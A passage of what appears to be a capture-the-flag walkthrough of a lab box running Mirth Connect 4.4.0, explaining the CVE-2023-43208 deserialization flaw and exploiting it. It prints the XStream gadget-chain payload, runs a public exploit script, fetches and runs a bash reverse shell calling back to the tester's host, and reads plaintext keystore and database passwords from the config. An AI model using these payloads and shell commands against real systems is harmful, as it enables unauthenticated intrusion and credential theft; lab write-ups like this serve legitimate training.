         href="http://www.nextgen.com"/>

        Open Source Healthcare Integration Engine


         href="images/NG_MC_Icon_128x128.png"/>

         href="images/MirthConnect_Logo_WordMark_Big.png" kind="splash"/>



        

         online="true">

            

            

            

             submenu="Mirth Connect"/>

        


    


    

        

    


     check="timeout" policy="always"/>


    

         href="http://java.sun.com/products/autodl/j2se" java-vm-args="--add-modules=java.sql.rowset --add-exports=java.base/com.sun.crypto.provider=ALL-UNNAMED --add-exports=java.base/sun.security.provider=ALL-UNNAMED --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.lang.reflect=ALL-UNNAMED --add-opens=java.base/java.math=ALL-UNNAMED --add-opens=java.base/java.net=ALL-UNNAMED --add-opens=java.base/java.security=ALL-UNNAMED --add-opens=java.base/java.security.cert=ALL-UNNAMED --add-opens=java.base/java.text=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/sun.security.pkcs=ALL-UNNAMED --add-opens=java.base/sun.security.rsa=ALL-UNNAMED --add-opens=java.base/sun.security.x509=ALL-UNNAMED --add-opens=java.desktop/com.apple.eawt=ALL-UNNAMED --add-opens=java.desktop/com.apple.eio=ALL-UNNAMED --add-opens=java.desktop/java.awt=ALL-UNNAMED --add-opens=java.desktop/java.awt.color=ALL-UNNAMED --add-opens=java.desktop/java.awt.font=ALL-UNNAMED --add-opens=java.desktop/javax.swing=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED" max-heap-size="512m" version="1.9+"/>

         href="http://java.sun.com/products/autodl/j2se" max-heap-size="512m" version="1.6+"/>

         download="eager" href="webstart/client-lib/mirth-client.jar" main="true" sha256="IHeDHNaFglz/afA4Osr3nllnqCMpsgo6RmrVTjbKBsA="/>
         download="eager" href="webstart/client-lib/mirth-client-core.jar" sha256="Ms8xCKJF4OPd0YHeM0I+dPyfKB4sdsXHcQsubFBfvz4="/>
         download="eager" href="webstart/client-lib/mirth-crypto.jar" sha256="3QGDVXdCJU/pevR+R0wnBGKnI6Ffuigbt4xNw8IOJKM="/>
         download="eager" href="webstart/client-lib/mirth-vocab.jar" sha256="C20/n2aTWZFxY4x8iEBcrLWGzz5taUMTlWLezAcpCRs="/>
         download="eager" href="webstart/client-lib/commons-lang3-3.9.jar" sha256="Vgwgrwq6WiuqsbpFY2oAq3y8dYHTsrQXc7BT8d4Bjmg="/>
         download="eager" href="webstart/client-lib/jackson-core-2.11.3.jar" sha256="Sn93THoyv2dXoxnx/FGS4YJgW0bWpBuzLPUo2S2fsWw="/>
         download="eager" href="webstart/client-lib/language_support.jar" sha256="sAzNPDx8Zcc+miVKCivSPaJC3fSCwgPE7y/tWM6f48A="/>
         download="eager" href="webstart/client-lib/donkey-model.jar" sha256="rUOeInGLuiIRKZpUgosD/5Jeitea+mMtVfy/WGS8B1Q="/>
         download="eager" href="webstart/client-lib/commons-configuration2-2.7.jar" sha256="QcDVizhsNICZPRi4XT7K+hBgm9KNFdRPLetbna1te80="/>
         download="eager" href="webstart/client-lib/commons-codec-1.13.jar" sha256="rqMdWtimh21sVB/oZf/qwut33nVpNeXVPm74vfuVmKY="/>
         download="eager" href="webstart/client-lib/jetty-util-9.4.44.v20210927.jar" sha256="FwOCGovjairWKH7Rg7r1knTLOnid4R9I0M0EbsjNJ7s="/>
         download="eager" href="webstart/client-lib/log4j-1.2-api-2.17.2.jar" sha256="4Gi6JmmLeoPW/o6DYZMFl8zZoyZIHZ//sPJP27A7AVY="/>
         download="eager" href="webstart/client-lib/javax.annotation-api-1.3.jar" sha256="B9B2My7V8CSIJT6+VqrdC2qTKlHBi5VQtNEcFTDdiI8="/>
         download="eager" href="webstart/client-lib/hk2-locator-2.4.0-b31.jar" sha256="OTY93Favv8bFowgge5fv/nizGE2Vhp7IATYrVwNs6wI="/>
         download="eager" href="webstart/client-lib/velocity-tools-generic-3.0.jar" sha256="ItFZhaj2pSWqreMV0hiT2hpN9Es6wxznasfNlgwomEY="/>
         download="eager" href="webstart/client-lib/mimepull-1.9.7.jar" sha256="IR3nxpVPJFHkB7rqiX14vBJbeg3kLStX30X9XiIgh98="/>
         download="eager" href="webstart/client-lib/zip4j_1.3.3.jar" sha256="Nq0nH85RbGL9D3KOlo1UIciuuhJo75yL4CpSakYXRn0="/>
         download="eager" href="webstart/client-lib/commons-io-2.6.jar" sha256="ETnAc6KUHMebRMv0FKWTlUF7Et8vHlMw3uagiYOQlag="/>
         download="eager" href="webstart/client-lib/commons-collections4-4.4.jar" sha256="nW5g92kH9CucRW1+B3OI4oTvsICWwwd/7hkkbMFdIWc="/>
         download="eager" href="webstart/client-lib/rsyntaxtextarea-2.5.6.jar" sha256="5AwU0m/gEfep5vsTDox3h+iFRielROm8Ee3aD6vTKTQ="/>
         download="eager" href="webstart/client-lib/quartz-all-2.1.7.jar" sha256="s8iEI5/GpBxXvE6bF76gPuzeIsc6H/+6ybO7RIDPxGI="/>
         download="eager" href="webstart/client-lib/commons-text-1.10.0.jar" sha256="mkbZGbj6rJ+DfxfzXg9K71+fjTzg5fKS4q+5hKE6FXY="/>
         download="eager" href="webstart/client-lib/autocomplete-2.5.4.jar" sha256="e4ZfCl5M9ElresOdHO30kzKqv79SxvpW3hWyxsVEK3w="/>
         download="eager" href="webstart/client-lib/utils-2.15.28.jar" sha256="F2h3NoUjlAcsMb7Tzr/1SnHQDE3jLNnk/94nym9ERV4="/>
         download="eager" href="webstart/client-lib/xpp3-1.1.4c.jar" sha256="sRmgN+Q81MVgJ+0eJaPPWatm39tYtHFRx6XxgvtLkec="/>
         download="eager" href="webstart/client-lib/libphonenumber-8.12.50.jar" sha256="tjWFlc1nGTCQKOUgi/w7sWHGmTpeoerafoRZeOM4Q5o="/>
         download="eager" href="webstart/client-lib/log4j-core-2.17.2.jar" sha256="fylUDk4s8265Vk+Y/jvkLsW8x8e5VjJUjTS1v8VEkrs="/>
         download="eager" href="webstart/client-lib/jersey-proxy-client-2.22.1.jar" sha256="kCMvyNtvYX9sgjMt5OnZ2gJ163vYkDhLYoV/xpUs3Co="/>
         download="eager" href="webstart/client-lib/commons-vfs2-2.1.jar" sha256="AeG82Lit+p/45dInSR8cxRZ8Eb2LmIQelpPHRGEG3Fg="/>
         download="eager" href="webstart/client-lib/commons-logging-1.2.jar" sha256="KBnbQ2TXK5shS9/peQgDFVll50w6kAMfBVzKVTgfMV4="/>
         download="eager" href="webstart/client-lib/swagger-annotations-2.0.10.jar" sha256="obRzCEphaiLShGrWm3d1fEGpKaTwmsAN7RVwNpc4ybg="/>
         download="eager" href="webstart/client-lib/xstream-1.4.19.jar" sha256="An1TfdUt/dyRZWO1O4L3OB8/I2JYJnHX/7u7e07lrfs="/>
         download="eager" href="webstart/client-lib/hapi-structures-v28-2.3.jar" sha256="LIlghnHInyIiHFipUqQEqo3w3/JHwBbVXKNhtH3vSpw="/>
         download="eager" href="webstart/client-lib/looks-2.3.1.jar" sha256="YAGKqTQk1/doNoOzJ1me0F2OBO7bRAEa052xk2Y4Qxc="/>
         download="eager" href="webstart/client-lib/jaxb-runtime-2.4.0-b180725.0644.jar" sha256="p+osvQhxLrgqF4woPOlD78SuhWAGS74O3nGOq2lsYt8="/>
         download="eager" href="webstart/client-lib/jcifs-ng-2.1.8.jar" sha256="1LMOZ6bPn/yHjkrqho3k+KVvs0hCENbK4sh0lA7AefE="/>
         download="eager" href="webstart/client-lib/swingx-core-1.6.2.jar" sha256="Krugs5yfMGY+hJP2YtVjQzk2fEBIDqKNL+Mpc0zs93E="/>
         download="eager" href="webstart/client-lib/hapi-structures-v23-2.3.jar" sha256="JlCBJVERFzAiyp4INZU5rdaQqHJRzlusNXYxwvVbNgA="/>
         download="eager" href="webstart/client-lib/hapi-structures-v21-2.3.jar" sha256="SWz11YnwDV8se0huhvnwPbSN3zb+52VnIXrCbxj71os="/>
         download="eager" href="webstart/client-lib/bcutil-jdk18on-171.jar" sha256="/jd5If5JVbQraUTgVMUDOsziWVrAdupKbC2YtCaBEYU="/>
         download="eager" href="webstart/client-lib/openjfx.jar" sha256="xXKQTb9rtpA+xbbrJv41SeGQsfBLK5od/tjYzSBEfqI="/>
         download="eager" href="webstart/client-lib/hapi-base-2.3.jar" sha256="XgloOIjOa0PPHD6YRCtQYz8Sh1wOXd4qZwT8rP0NH2g="/>
         download="eager" href="webstart/client-lib/jersey-media-multipart-2.22.1.jar" sha256="NI9cZ1099RlbB1UDeDeqxG+JDk1XL/5QpulQF76VM0E="/>
         download="eager" href="webstart/client-lib/httpcore-4.4.13.jar" sha256="7GMATM3FXKnnKJokElaJxSUznUY4lI0nbKKo+XW/Amk="/>
         download="eager" href="webstart/client-lib/xercesImpl-2.9.1.jar" sha256="35zfeAILzwjhdB7CmbVNu/IgqdWm92le919CD0vT3Go="/>
         download="eager" href="webstart/client-lib/javax.activation-1.2.0.jar" sha256="rV9iEYBiiE0cU0+2Dd3Mqihmk/ykGK62+YGf/7Hmofo="/>
         download="eager" href="webstart/client-lib/hk2-api-2.4.0-b31.jar" sha256="Yd0V2fCUvbtCeWsKybYe52IiKr0pcWUXYG2r1qRCKVo="/>
         download="eager" href="webstart/client-lib/commons-compress-1.17.jar" sha256="vdHWwrCXRfPZawbulPFXxx/9elZghqPNsYD9Sq/EiRU="/>
         download="eager" href="webstart/client-lib/staxon-1.3.jar" sha256="jeWRqRwl0xXZzYCV4hHI9L8Ce/sy9mNVsg1LmzrcH0w="/>
         download="eager" href="webstart/client-lib/hapi-structures-v231-2.3.jar" sha256="Zy3A3/aqpUxulbTzSLOfFS/zskDaRtHqcyktQ9Ppl8U="/>
         download="eager" href="webstart/client-lib/jackson-databind-2.11.3.jar" sha256="HdpB6UnUciJ4xp3AApqF3SD0DC7XceIsoqy+nvtRO/k="/>
         download="eager" href="webstart/client-lib/jersey-guava-2.22.1.jar" sha256="IBqA2V9KW8RRbGf1gi83X1yPbPevBUWvSvSLAsBT/+8="/>
         download="eager" href="webstart/client-lib/joda-time-2.9.9.jar" sha256="lbeoqEup9KalPvZCzypvbbIkaIWi2jlKfSpHlQIt1rw="/>
         download="eager" href="webstart/client-lib/velocity-engine-core-2.2.jar" sha256="hLoIAPaQME4UpUhH4JM/BaRE1XU/aAsKWpO/a7QtlqM="/>
         download="eager" href="webstart/client-lib/javax.inject-2.4.0-b31.jar" sha256="VMorIrzeWoo+lDm5JOnVK0w4Cshu5wEmVgjP6lkqqDw="/>
         download="eager" href="webstart/client-lib/jackson-annotations-2.11.3.jar" sha256="DoOzxry+xCjH7dTFsmeOBqnf6tp/MADddqPAc74EbAw="/>
         download="eager" href="webstart/client-lib/slf4j-api-1.7.30.jar" sha256="4odF1co8Wo88h4Pmg/GzGh2SKMnnn0Yi04e0Og0Rg6o="/>
         download="eager" href="webstart/client-lib/commons-pool2-2.3.jar" sha256="APdgYnfApxJ1KQ+FlfuLhcSYL1J+YfM2gWQG52hhogQ="/>
         download="eager" href="webstart/client-lib/javassist-3.26.0-GA.jar" sha256="CIYZWNSYwYzGL6Br67AC6i0neHBvi2JOpCjRjmJGFI0="/>
         download="eager" href="webstart/client-lib/guava-28.2-jre.jar" sha256="SyoNyKpmdiFudyjFaul5lMleraSD8E85voyrCpzf9dY="/>
         download="eager" href="webstart/client-lib/jaxb-api-2.4.0-b180725.0427.jar" sha256="l9sDNL727nZkvNzCarcpq7jd8VcMu3ss6FNOSG57/NQ="/>
         download="eager" href="webstart/client-lib/httpmime-4.5.13.jar" sha256="7R/v9tFfvVFBimz7msrZ1B6Zfq5bGQqFDkyYFterJMM="/>
         download="eager" href="webstart/client-lib/wizard.jar" sha256="7OYEhgqNU7QJqK9bHGJNJqxFCi4oWVlF8XtYwBaPdOo="/>
         download="eager" href="webstart/client-lib/hapi-structures-v22-2.3.jar" sha256="OjQVkkOwGi+iGVkPv9q06zuiHw6ER+iUMlZJJHc35ZA="/>
         download="eager" href="webstart/client-lib/miglayout-swing-4.2.jar" sha256="Mx8CMy2FiaUHSLJB4nSirw4XWrQiuzZuHbTK385bnIk="/>
         download="eager" href="webstart/client-lib/hapi-structures-v25-2.3.jar" sha256="9SblQqKV9egD7z7obYD6BnY/nTXvli5+uPkLYDvsYAs="/>
         download="eager" href="webstart/client-lib/reflections-0.9.10.jar" sha256="IPDk2Q6OmWaPvh4hRXVM0PYCrWryNVd0aaiufWFahNk="/>
         download="eager" href="webstart/client-lib/javaparser-1.0.8.jar" sha256="cUyZFy6pW06C7BeXIVnQH1jSDjn+D6NOvFLdxZm0v3U="/>
         download="eager" href="webstart/client-lib/miglayout-core-4.2.jar" sha256="0ajHMEw8GsCWLq1gSh9zhJp+FRGHhq//sRO2RTz9EtU="/>
         download="eager" href="webstart/client-lib/bcprov-ext-jdk18on-171.jar" sha256="/1v9cPkedM2dS61zfPb1QRczEb2XjDx8IxQ+vX3EgqM="/>
         download="eager" href="webstart/client-lib/jersey-common-2.22.1.jar" sha256="w1a3DUxOzMnN3ShUe3BgqKq+LQZuRXbjf7XPGAGSyH4="/>
         download="eager" href="webstart/client-lib/hapi-structures-v26-2.3.jar" sha256="/sdcfbvvni4u7iJ7C4fAoGuqBV3SKt+oaeaUmrz7soc="/>
         download="eager" href="webstart/client-lib/javax.ws.rs-api-2.0.1.jar" sha256="1anYrmLH6XVLuL6UdyHChnVC63G88ZN6ksYVKDHrwWY="/>
         download="eager" href="webstart/client-lib/rhino-1.7.13.jar" sha256="9YLjcaeQjbLFrlnNeNAPPFyO7GwkWeoivlB+cHf/LGw="/>
         download="eager" href="webstart/client-lib/hapi-structures-v251-2.3.jar" sha256="PKc8cQQrOWODAnNyWfbj0YGGoZlR2+ekBnToOn9XIp4="/>
         download="eager" href="webstart/client-lib/bcpkix-jdk18on-171.jar" sha256="skuBILkn+PcpJuDP/M9di3Nu3hlq93rYuSSgS2/ovtQ="/>
         download="eager" href="webstart/client-lib/javax.mail-1.5.0.jar" sha256="flDlXMAW8Rl7/D5PRT6aziJ5+BFLgCkly4USmIUJnj0="/>
         download="eager" href="webstart/client-lib/slf4j-log4j12-1.7.30.jar" sha256="7G71CIScs6JqQn95E5IH01sMkDdrP/BDQgCS9ZwmIvE="/>
         download="eager" href="webstart/client-lib/jai_imageio.jar" sha256="Sv+7VsN2v7lCseg/10Hfl+25Z17DIjbBFS5LW8uSCzc="/>
         download="eager" href="webstart/client-lib/javax.activation-api-1.2.0.jar" sha256="v3ndkHoaiEwiTJpm9177HFQztgaZC5VfN9B2jdrkhFs="/>
         download="eager" href="webstart/client-lib/hapi-structures-v27-2.3.jar" sha256="fJ668/E7otWgs7SA1jHiiCpKHSHAiouVPKS3IO1Zcq4="/>
         download="eager" href="webstart/client-lib/userutil-sources.jar" sha256="1BGr/v2Og/FH2XYS244rEs7fsLEu1BmKQmSpWHRn05U="/>
         download="eager" href="webstart/client-lib/bcprov-jdk18on-171.jar" sha256="l7kndUKXP0Boq6mlKee5Qo78WjkJEH2nDYp/+PbhVkI="/>
         download="eager" href="webstart/client-lib/hapi-structures-v281-2.3.jar" sha256="4s3VMiZqi8XRR8R2ojsgD9sALwtqw4wnSRa0d0YxYtU="/>
         download="eager" href="webstart/client-lib/jersey-client-2.22.1.jar" sha256="gmAUfqtAN3AeddIKF40h1pvUB10Qzdy3+Z6zWKXueTY="/>
         download="eager" href="webstart/client-lib/log4j-api-2.17.2.jar" sha256="Rpvu+JLDk4rkoNnRr8C9xI57yHVBwTB0tvAL8zSi5cY="/>
         download="eager" href="webstart/client-lib/httpclient-4.5.13.jar" sha256="G87KYCKVy/05s9g44w8cILxtugjhab6FyoM24Xcov9M="/>
         download="eager" href="webstart/client-lib/istack-commons-runtime-3.0.6.jar" sha256="r7Pdb2yYKzY3TR1m8Nq8nR52JTeX9WjlGYZWwvQQMrU="/>
         download="eager" href="webstart/client-lib/hapi-structures-v24-2.3.jar" sha256="m6ulzJ/p9GGit/n3kid3O2VDZSSGdSgzltNd1UVGFuw="/>
         download="eager" href="webstart/client-lib/commons-lang-2.6.jar" sha256="NKmzkdAArMvPlzkusZAE3/wiKSk1XsdzJONkUQvG8dk="/>
         download="eager" href="webstart/client-lib/commons-beanutils-1.9.3.jar" sha256="rpgEMWYeRxs6wfLVCeOCrgm2CWo+QdSNPxLK05zWz9k="/>
         download="eager" href="webstart/client-lib/regions-2.15.28.jar" sha256="DO+3VI3z+GW/FSgxHWsjJ6ddn3FedIBCeRkdvjUSWc0="/>
         download="eager" href="webstart/client-lib/hk2-utils-2.4.0-b31.jar" sha256="1dSEKIqf2Ocip0f+5elBZJxi6UnRoaLg5RsfdzNluTI="/>
         href="webstart/extensions/scriptfilestep.jnlp"/>
         href="webstart/extensions/textviewer.jnlp"/>
         href="webstart/extensions/dicomviewer.jnlp"/>
         href="webstart/extensions/js.jnlp"/>
         href="webstart/extensions/jdbc.jnlp"/>
         href="webstart/extensions/mapper.jnlp"/>
         href="webstart/extensions/directoryresource.jnlp"/>
         href="webstart/extensions/datapruner.jnlp"/>
         href="webstart/extensions/javascriptrule.jnlp"/>
         href="webstart/extensions/datatype-xml.jnlp"/>
         href="webstart/extensions/datatype-ncpdp.jnlp"/>
         href="webstart/extensions/jms.jnlp"/>
         href="webstart/extensions/datatype-json.jnlp"/>
         href="webstart/extensions/xsltstep.jnlp"/>
         href="webstart/extensions/file.jnlp"/>
         href="webstart/extensions/scriptfilerule.jnlp"/>
         href="webstart/extensions/messagebuilder.jnlp"/>
         href="webstart/extensions/datatype-dicom.jnlp"/>
         href="webstart/extensions/serverlog.jnlp"/>
         href="webstart/extensions/datatype-hl7v3.jnlp"/>
         href="webstart/extensions/datatype-hl7v2.jnlp"/>
         href="webstart/extensions/ws.jnlp"/>
         href="webstart/extensions/javascriptstep.jnlp"/>
         href="webstart/extensions/dashboardstatus.jnlp"/>
         href="webstart/extensions/datatype-raw.jnlp"/>
         href="webstart/extensions/tcp.jnlp"/>
         href="webstart/extensions/datatype-edi.jnlp"/>
         href="webstart/extensions/smtp.jnlp"/>
         href="webstart/extensions/globalmapviewer.jnlp"/>
         href="webstart/extensions/httpauth.jnlp"/>
         href="webstart/extensions/dicom.jnlp"/>
         href="webstart/extensions/imageviewer.jnlp"/>
         href="webstart/extensions/mllpmode.jnlp"/>
         href="webstart/extensions/pdfviewer.jnlp"/>
         href="webstart/extensions/destinationsetfilter.jnlp"/>
         href="webstart/extensions/vm.jnlp"/>
         href="webstart/extensions/http.jnlp"/>
         href="webstart/extensions/doc.jnlp"/>
         href="webstart/extensions/rulebuilder.jnlp"/>
         href="webstart/extensions/datatype-delimited.jnlp"/>
    


     main-class="com.mirth.connect.client.ui.Mirth">
        https://10.129.244.184:443
        4.4.0
    

URI:	/nice%20ports%2C/Tri%6Eity.txt%2ebak
STATUS:	404
MESSAGE:	Not Found
SERVLET:	org.eclipse.jetty.servlet.ServletHandler$Default404Servlet-3d7dbe10

URI:	/nice%20ports%2C/Tri%6Eity\.txt%2ebak
STATUS:	404
MESSAGE:	Not\x20Foun SF:d
SERVLET:	org\.eclipse\.jetty\.servlet\.Ser SF:vletHandler\$Default404Servlet-3d7dbe10

I’ll skip the directory brute force as this is open source software.

HL7 v2 MLLP - TCP 6661

Port 6661 doesn’t show anything interesting when hit with nc or curl.

It’s not needed to solve the box, but knowing that Mirth Connect is running suggests that 6661 is likely the HL7 v2 MLLP listener. Claude will give me a one liner to test this:

When I run that, it generates a response:

oxdf@hacky$ python3 -c "import socket; s=socket.socket(); s.connect(('10.129.244.184',6661)); s.sendall(b'\x0bMSH|^~\\&|TEST|TEST|MIRTH|MIRTH|20260527||ADT^A01|123|P|2.3\r\x1c\r'); print(s.recv(4096)); s.close()"
:1: SyntaxWarning: invalid escape sequence '\&'
b'\x0bMSH|^~\\&|MIRTH|MIRTH|TEST|TEST|20260527194151.620||ACK|20260527194151.620|P|2.3\rMSA|AA|123\r\x1c\r'

The ACK comes back framed in MLLP and the MSH header identifies the sending application as MIRTH|MIRTH. The HL7 listener is happily telling unauthenticated clients exactly what it is.

Shell as mirth

Identify CVE(s)

Searching for “mirth connect 4.4.0 cve” shows references to a couple vulnerabilities:

Both CVE-2023-43208 and CVE-2023-37679 are labeled as RCE vulnerabilities that could be interesting.

CVE-2023-37679 / CVE-2023-43208 Background

CVE-2023-37679 is a deserialization vulnerability patched by 4.4.0 with a deny-list to prevent an exploit from accessing known dangerous classes. However, it was incomplete, which allowed exploits to still get RCE, leading to CVE-2023-43208 and a proper fix in 4.4.1.

NIST describes CVE-2023-37679 as:

A remote command execution (RCE) vulnerability in NextGen Mirth Connect v4.3.0 allows attackers to execute arbitrary commands on the hosting server.

It describes CVE-2023-43208 as:

NextGen Healthcare Mirth Connect before version 4.4.1 is vulnerable to unauthenticated remote code execution. Note that this vulnerability is caused by the incomplete patch of CVE-2023-37679.

Horizon3.ai originally discovered these vulnerabilities, though their announcement doesn’t give much detail, but this post does. A Metasploit exploit module was published in January 2024.

These are insecure deserialization vulnerabilities in the Mirth Connect API. The root cause is the XmlMessageBodyReader class, which uses the XStream library to unmarshal XML request bodies into Java objects. The API runs on Jersey (JAX-RS), and to build a method’s parameter object Jersey invokes this body reader before the method’s logic runs. Mirth checks authorization inside the resource method, not in a pre-matching filter, so the XML body is deserialized before the auth check is reached. The gadget chain therefore executes as a side effect of deserialization, ahead of any authentication. Public POCs target POST /api/users because it accepts an XML body that gets deserialized to construct the method parameter before the in-method auth check runs.

The 4.4.0 patch for CVE-2023-37679 tried to block this with an XStream denylist of known-dangerous classes. CVE-2023-43208 bypasses that denylist by using a different gadget chain built from classes that were not on the list (for example InvokerTransformer from Apache Commons Collections). Version 4.4.1 fixes it properly by dropping the denylist in favor of an explicit allowlist of safe classes.

Exploit

Manual POC

The Horizon3.ai writeup shows the various payloads they used all via the swagger API page. I’ll grab their payload from the very bottom of the post:

  abcd
  
    java.lang.Comparable
     class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
       class="org.apache.commons.collections4.functors.ChainedTransformer">
        
             class="java-class">java.lang.Runtime
          
            getMethod
            
              java.lang.String
              [Ljava.lang.Class;
            
              getRuntime
              
            invoke
            
              java.lang.Object
              [Ljava.lang.Object;
            
            exec
            
              java.lang.String
            
              <>
            
      transform
      
        compareTo

11 lines up from the bottom there’s a <>. I’ll replace <> with a command and put it in the /users POST endpoint:

When I run this, an ICMP packet arrives at my host:

oxdf@hacky$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
14:12:48.357520 IP 10.129.244.184 > 10.10.14.51: ICMP echo request, id 5114, seq 1, length 64
14:12:48.357546 IP 10.10.14.51 > 10.129.244.184: ICMP echo reply, id 5114, seq 1, length 64

That’s RCE.

Script POC

There’s a script at the bottom of the post with a Python script. I’ll run it:

oxdf@hacky$ uv run --with requests cve-2023-43208.py -c 'ping -c 1 10.10.14.51' -u http://10.129.244.184
Installed 5 packages in 8ms
Sending payload:

  abcd
  
    java.lang.Comparable
    
            java.lang.Runtime
          
            getMethod
            
              java.lang.String
              [Ljava.lang.Class;
            
              getRuntime
              
            invoke
            
              java.lang.Object
              [Ljava.lang.Object;
            
            exec
            
              java.lang.String
            
              ping -c 1 10.10.14.51
            
      transform
      
        compareTo
      
Payload sent. Received status code: 500

The ICMP comes again:

14:26:33.679910 IP 10.129.244.184 > 10.10.14.51: ICMP echo request, id 5122, seq 1, length 64
14:26:33.679937 IP 10.10.14.51 > 10.129.244.184: ICMP echo reply, id 5122, seq 1, length 64

Shell

Running commands with pipes or other redirects in Java-based RCEs almost always fails. I’ll use a two stage solution to get a shell. I’ll create a shell script with a bash reverse shell:

#!/bin/bash

bash -i >& /dev/tcp/10.10.14.51/443 0>&1

I’ll use two RCE commands, first to fetch the script:

oxdf@hacky$ uv run --with requests cve-2023-43208.py -c "wget 10.10.14.51/shell.sh" -u https://10.129.244.184 
Sending payload:

  abcd
  
    java.lang.Comparable
    
            java.lang.Runtime
          
            getMethod
            
              java.lang.String
              [Ljava.lang.Class;
            
              getRuntime
              
            invoke
            
              java.lang.Object
              [Ljava.lang.Object;
            
            exec
            
              java.lang.String
            
              wget 10.10.14.51/shell.sh
            
      transform
      
        compareTo
      
Payload sent. Received status code: 500

At my Python webserver there’s a fetch:

10.129.244.184 - - [22/May/2026 10:31:09] "GET /shell.sh HTTP/1.1" 200 -

Then another to execute the reverse shell:

oxdf@hacky$ uv run --with requests cve-2023-43208.py -c "bash shell.sh" -u https://10.129.244.184
Sending payload:

  abcd
  
    java.lang.Comparable
    
            java.lang.Runtime
          
            getMethod
            
              java.lang.String
              [Ljava.lang.Class;
            
              getRuntime
              
            invoke
            
              java.lang.Object
              [Ljava.lang.Object;
            
            exec
            
              java.lang.String
            
              bash shell.sh
            
      transform
      
        compareTo
      
Payload sent. Received status code: 500

This time there’s a connection at nc:

oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.244.184 43630
bash: cannot set terminal process group (3578): Inappropriate ioctl for device
bash: no job control in this shell
mirth@interpreter:/usr/local/mirthconnect$

I’ll upgrade my shell using the standard trick:

mirth@interpreter:/usr/local/mirthconnect$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
mirth@interpreter:/usr/local/mirthconnect$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
            ‍reset
reset: unknown terminal type unknown
Terminal type? screen
mirth@interpreter:/usr/local/mirthconnect$

Shell as sedric

Enumeration

Users

mirth is a service account. Looking at real users, only one other account has a home directory in /home:

mirth@interpreter:/home$ ls
sedric

/etc/passwd confirms that sedric and root are the only accounts with a login shell:

mirth@interpreter:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
sedric:x:1000:1000:sedric,,,:/home/sedric:/bin/bash

sudo isn’t installed on this host:

mirth@interpreter:/$ sudo -l
bash: sudo: command not found

Mirth

The mirth user doesn’t have a home directory, but the Mirth Connect installation is located in /usr/local/mirthconnect:

mirth@interpreter:/usr/local/mirthconnect$ ls
client-lib  logs                 mirth-server-launcher.jar  server-lib
conf        mcserver             preferences                shell.sh
custom-lib  mcserver.vmoptions   public_api_html            uninstall
docs        mcservice            public_html                webapps
extensions  mcservice.vmoptions  server-launcher-lib

The conf directory has configuration files:

mirth@interpreter:/usr/local/mirthconnect/conf$ ls
dbdrivers.xml  log4j2.properties  mirth.properties

The interesting one is mirth.properties. It’s very long, so I’ll show interesting bits. This sets the HTTP and HTTPS ports:

# ports
http.port = 80
https.port = 443

The keystore is a Java KeyStore. Despite the .jks filename, keystore.type is set to JCEKS (Java Cryptography Extension KeyStore). Unlike the default JKS type, a JCEKS store can hold symmetric secret keys in addition to certificates and private keys. mirth.properties also hands over both passwords needed to open it:

# keystore
keystore.path = ${dir.appdata}/keystore.jks
keystore.storepass = 5GbU5HGTOOgE 
keystore.keypass = tAuJfQeXdnPw
keystore.type = JCEKS

keystore.storepass unlocks the keystore file itself, and keystore.keypass unlocks the individual key entries inside it. ${dir.appdata} is defined earlier in mirth.properties, which resolves the keystore path to /usr/local/mirthconnect/appdata/keystore.jks. Mirth uses this keystore for two things: the TLS certificate for the HTTPS listener (the self-signed mirth-connect certificate from the nmap scan), and a symmetric secret key that Mirth’s encryptor uses to protect sensitive values such as channel and connector passwords. I can list this store with keytool -list -v -keystore /usr/local/mirthconnect/appdata/keystore.jks -storetype JCEKS -storepass 5GbU5HGTOOgE, but there’s nothing interesting.

There are a bunch of a database info as well:

# options: derby, mysql, postgres, oracle, sqlserver
database = mysql

# examples:
#   Derby                       jdbc:derby:${dir.appdata}/mirthdb;create=true
#   PostgreSQL                  jdbc:postgresql://localhost:5432/mirthdb
#   MySQL                       jdbc:mysql://localhost:3306/mirthdb 
#   Oracle                      jdbc:oracle:thin:@localhost:1521:DB 
#   SQL Server/Sybase (jTDS)    jdbc:jtds:sqlserver://localhost:1433/mirthdb
#   Microsoft SQL Server        jdbc:sqlserver://localhost:1433;databaseName=mirthdb
#   If you are using the Microsoft SQL Server driver, please also specify database.driver below 
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod

# If using a custom or non-default driver, specify it here.
# example:
# Microsoft SQL server: database.driver = com.microsoft.sqlserver.jdbc.SQLServerDriver
# (Note: the jTDS driver is used by default for sqlserver)
database.driver = org.mariadb.jdbc.Driver

# Maximum number of connections allowed for the main read/write connection pool
database.max-connections = 20
# Maximum number of connections allowed for the read-only connection pool
database-readonly.max-connections = 20

# database credentials
database.username = mirthdb
database.password = MirthPass123! 

#On startup, Maximum number of retries to establish database connections in case of failure
database.connection.maxretry = 2

#On startup, Maximum wait time in milliseconds for retry to establish database connections in case of failure
database.connection.retrywaitinmilliseconds = 10000

Database

I’ll use the connection info from the config to connect to MySQL:

mirth@interpreter:/$ mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 43
Server version: 10.11.14-MariaDB-0+deb12u2 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [mc_bdd_prod]>

The database has 21 tables:

MariaDB [mc_bdd_prod]> show tables;
+-----------------------+
| Tables_in_mc_bdd_prod |
+-----------------------+
| ALERT                 |
| CHANNEL               |
| CHANNEL_GROUP         |
| CODE_TEMPLATE         |
| CODE_TEMPLATE_LIBRARY |
| CONFIGURATION         |
| DEBUGGER_USAGE        |
| D_CHANNELS            |
| D_M1                  |
| D_MA1                 |
| D_MC1                 |
| D_MCM1                |
